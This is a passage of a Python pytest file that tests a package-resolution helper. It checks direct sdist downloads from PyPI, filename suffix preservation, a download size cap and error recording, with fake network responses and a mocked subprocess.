assert fpath is None and "no sdist" in err
def test_download_sdist_direct_writes_and_preserves_suffix(tmp_path, monkeypatch):
payload = b"\x1f\x8b" + b"fake-tar-gz-bytes"
monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(payload))
meta = _meta(
[_f("sdist", "langid-1.1.6.tar.gz", "https://files.pythonhosted.org/langid-1.1.6.tar.gz")]
)
fpath, err = sp._download_sdist_direct("langid", "1.1.6", str(tmp_path), meta = meta)
assert err is None and fpath is not None
assert fpath.endswith(".tar.gz") # suffix preserved -> archive reader picks format
assert Path(fpath).read_bytes() == payload
def test_download_sdist_direct_size_cap(tmp_path, monkeypatch):
monkeypatch.setattr(sp, "_MAX_SDIST_BYTES", 8)
monkeypatch.setattr(sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"x" * 100))
meta = _meta([_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x.tar.gz")])
fpath, err = sp._download_sdist_direct("x", "1.0.0", str(tmp_path), meta = meta)
assert fpath is None and "cap" in err
def test_per_spec_genuine_failure_is_recorded_error(tmp_path, monkeypatch):
# A spec that fails pip but HAS a wheel on PyPI is a genuine error (-> exit 2),
# never silently swallowed.
class _Proc:
returncode = 1
stderr = "ResolutionImpossible"
monkeypatch.setattr(sp.subprocess, "run", lambda *a, **k: _Proc())
monkeypatch.setattr(
sp,
"_pypi_json",
lambda name: _meta([_f("bdist_wheel", "x.whl", "https://files.pythonhosted.org/x.whl")]),
)
errors: list[str] = []
sp._resolve_per_spec_with_deps(["somepkg==1.0"], str(tmp_path), {}, errors)
assert errors and "somepkg" in errors[0]
def test_per_spec_sdist_only_is_not_error(tmp_path, monkeypatch):
# sdist-only spec: pip fails, PyPI shows no wheel -> direct fetch, no error.
class _Proc:
returncode = 1
stderr = "No matching distribution"
monkeypatch.setattr(sp.subprocess, "run", lambda *a, **k: _Proc())
monkeypatch.setattr(
sp,
"_pypi_json",
lambda name: _meta(
[_f("sdist", "x-1.0.0.tar.gz", "https://files.pythonhosted.org/x-1.0.0.tar.gz")]
),
)
monkeypatch.setattr(
sp.urllib.request, "urlopen", lambda req, timeout = 0: _FakeResp(b"\x1f\x8bdata")
)
errors: list[str] = []
sp._resolve_per_spec_with_deps(["x==1.0.0"], str(tmp_path), {}, errors)
assert errors == [] # sdist-only handled, not an exit-2 failure
assert any(p.name.endswith(".tar.gz") for p in tmp_path.iterdir())